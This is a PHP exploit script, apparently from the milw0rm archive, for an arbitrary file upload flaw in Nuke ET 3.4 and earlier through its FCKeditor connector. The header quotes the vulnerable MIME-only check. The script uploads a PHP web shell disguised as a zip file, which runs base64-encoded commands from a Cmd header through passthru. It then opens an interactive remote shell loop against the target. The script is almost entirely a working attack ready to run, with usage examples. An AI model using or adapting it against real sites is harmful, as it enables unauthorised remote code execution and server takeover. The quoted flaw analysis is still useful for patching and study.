Nuke ET 3.4 - 'FCKeditor' Arbitrary File Upload

<?php

/*
	---------------------------------------------------------------
	Nuke ET <= 3.4 (fckeditor) Remote Arbitrary File Upload Exploit
	---------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://www.truzone.org/
	
	This PoC was written for educational purpose. Use it at your own risk.
	Author will be not responsible for any damage.
	
	[-] vulnerable code in /nuke/FCKeditor/editor/filemanager/browser/default/connectors/php/commands.php
	
	147.	function FileUpload( $resourceType, $currentFolder )
	148.	{
	149.		$sErrorNumber = '0' ;
	150.		$sFileName = '' ;
	151.	
	152.		if ( isset( $_FILES['NewFile'] ) && !is_null( $_FILES['NewFile']['tmp_name'] ) )
	153.		{
	154.			$oFile = $_FILES['NewFile'] ;
	155.	
	156.			// Map the virtual path to the local server path.
	157.			$sServerDir = ServerMapFolder( $resourceType, $currentFolder ) ;
	158.	
	159.			// Get the uploaded file name.
	160.			$sFileName = $oFile['name'] ;
	161.			$sOriginalFileName = $sFileName ;
	162.			// Security fix by truzone 01-15-2006
	163.			//$sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;
	164.			//$sExtension = strtolower( $sExtension ) ;
	165.	
	166.			if(extension_loaded("mime_magic")){
	167.			$sExtension = mime_content_type($oFile['tmp_name']);
	168.			}else{
	169.			$sExtension = $oFile['type'];
	170.			}
	171.			// en of security fix by truzone 01-15-2006
	172.			global $Config ;
	173.	
	174.			$arAllowed	= $Config['AllowedExtensions'][$resourceType] ;
	175.			$arDenied	= $Config['DeniedExtensions'][$resourceType] ;

	An attacker might be able to upload arbitrary files containing malicious PHP code due to the code
	near lines 166-170 will check only the MIME type of the upload request, that can be easily spoofed!
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

define(STDIN, fopen("php://stdin", "r"));

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print "\n[-] No response from {$host}:80 Trying again...";
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	return $resp;
}

function connector_response($html)
{
	return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}

print "\n+------------------------------------------------------------------+";
print "\n| Nuke ET <= 3.4 (fckeditor) Arbitrary File Upload Exploit by EgiX |";
print "\n+------------------------------------------------------------------+\n";

if ($argc < 3)
{
	print "\nUsage......: php $argv[0] host path";
	print "\nExample....: php $argv[0] localhost /";
	print "\nExample....: php $argv[0] localhost /nukeet/\n";
	die();
}

$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);

$filename  = md5(time()).".php";
$connector = "FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php";

$payload  = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: application/zip\r\n\r\n";
$payload .= "PK\003\004<?php error_reporting(0);print(\"_code_\\n\");passthru(base64_decode(\$_SERVER[HTTP_CMD])); ?>\n";
$payload .= "--o0oOo0o--\r\n";

$packet	 = "POST {$path}{$connector}?Command=FileUpload&Type=File&CurrentFolder=%2f HTTP/1.0\r\n";
$packet	.= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Shell uploaded to {$filename}...starting it!\n";

$path .= str_repeat("../", substr_count($path, "/") - 1) . "UserFiles/File/"; // come back to the document root 

$packet  = "GET {$path}{$filename} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
	print "\nnukeet-shell# ";
	$cmd = trim(fgets(STDIN));
	if ($cmd != "exit")
	{
		$response = http_send($host, sprintf($packet, base64_encode($cmd)));
		preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n");
	}
	else break;
}

?>

# milw0rm.com [2008-10-18]